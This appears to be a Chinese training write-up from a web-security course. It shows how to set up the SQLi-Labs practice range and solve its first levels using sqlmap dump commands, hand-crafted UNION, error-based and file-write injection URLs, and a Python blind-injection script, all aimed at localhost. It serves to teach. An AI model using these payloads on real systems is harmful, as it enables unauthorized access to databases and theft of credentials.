零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶) |
您所在的位置:网站首页 › 打靶是干什么的 › 零基础学SQL注入必练靶场之SQLiLabs(搭建+打靶) |
文章来源 | MS08067 Web零基础就业班1期作业 本文作者:giunwr、tyrant(零基础1期) SQLi-Labs是一个专业的SQL注入漏洞练习靶场,零基础的同学学SQL注入的时候,sqli-labs这个靶场是必练的,它里面包含了很多注入场景,以及在sql注入的时候遇到的各种问题,适用于GET和POST场景,包含了以下注入: 完成sqllibs前18关,尽可能使用多的方法 二、sqllibs安装和sqlmap的安装 (一)、sqllibs安装把对应该文件放在网站根目录下面,打开配置文件,修改密码
![]() 环境:windows 10+python3 工具下载地址:https://github.com/sqlmapproject/sqlmap 安装步骤:下载好工具后,解压 ![]() 创建访问快捷方式: 桌面右键创建快捷方式 ![]() 创建好后右击属性,修改一下起始路径(就是你sqlMap的文件夹)
判断是否有注入点python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" ![]() 找出当前数据库python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --current-db 找出当前数据库下面的表python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --tables -D "security" 找出users中的字段,发现有我们需要的账号密码信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users" 获取users表下的信息python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1" --columns -D "security" -T "users" -dump 判断是否存在注⼊及注⼊类型 说明是单引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1'")
5、判断回显位置http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+ 6、爆字段http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((SELECT group_concat(COLUMN_NAME) FROM information_schema.COLUMNS where TABLE_SCHEMA ="security" AND TABLE_NAME="users")USING gbk),3--+ 7、爆数据http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,CONVERT((select group_concat(username) from security.users)USING gbk),CONVERT((select group_concat(password) from security.users)USING gbk)--+ 爆数据库http://127.0.0.1/sqlilab/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(0x7e,concat(0x7e,database(),0x7e))--+ http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%27%22) 不是引号注入 其他步骤和第一关一样,只需要把第一关的单引号替换为 and 1=2即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-2/?id=1%20and%201=2%20union%20select%201,2,database()%20--+ 五、第三关判断为')注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为')即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-3/?id=1%27%22)--+ 判断为")注入方式,其他步骤和第一关一样,只需要把第一关的单引号替换为")即可,如http://127.0.0.1/sqlilab/sqli-labs-master/Less-4/?id=1%27%22)111 判断为单引号注入,同时没有报错的时候不会回显内容,需要使用报错注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-5/?id=1%27%22) 判断为双引号注入http://127.0.0.1/sqlilab/sqli-labs-master/Less-6/?id=1%27%22)111 注意mysql默认不允许上传和导出文件 需要修改配置文件my.ini secure_file_priv=,值为空就是不限制目录,默认为NULL不允许上传 数据库中查询语句SHOW VARIABLES LIKE "secure_file_priv" 这边使用sqlmap注入python3 sqlmap.py -u "http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1" --dump -D "security" -T "users" -C "password,username" 手动注入判断注入类型:字符型注入 ?id=1')) http://127.0.0.1/sqlilab/sqli-labs-master/Less-7/?id=1%27))%20Union%20select%201,2,database()%20into%20outfile%20%22F:/res.txt%22%20--+ ![]() 判断回显位置,闭合方式为单引号闭合http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/?id=1%27or%201=1--+ 可以看出报错和不报错的明显差别 ![]() 使用布尔盲注 python脚本如下 import requests import string mystring = string.printable #所有可⻅字符 url='http://127.0.0.1/sqlilab/sqli-labs-master/Less-8/' # url+='?id=-1\' or (substring((select group_concat(username) from users),{0},1)=\'{1}\') -- -' url+='?id=-1\' or (substring(database(),{0},1)=\'{1}\') -- -' reply='You are in...........' print(url) count = 1 result = '' while(True): temp_result=result for char in mystring: response=requests.get(url.format(count,char)) # print((response.content)) # print(url.format(count,char)) if reply in str(response.content): result+=char print(result+'......') break if result==temp_result: print('Complete!') break if '+++' in result: print('result: '+result[0:-3]) break count+=1url+='?id=-1' or (substring(database(),{0},1)='{1}') -- -'这句代码中间的语句database()换成我们需要执行的语句即可,如截图中的 SELECT%20group_concat(table_name)%20FROM%20information_schema.TABLES%20where%20TABLE_SCHEMA%20=%22security%22 ![]()
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() — 实验室旗下直播培训课程 — 来和20000+位同学加入MS08067一起学习吧! |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |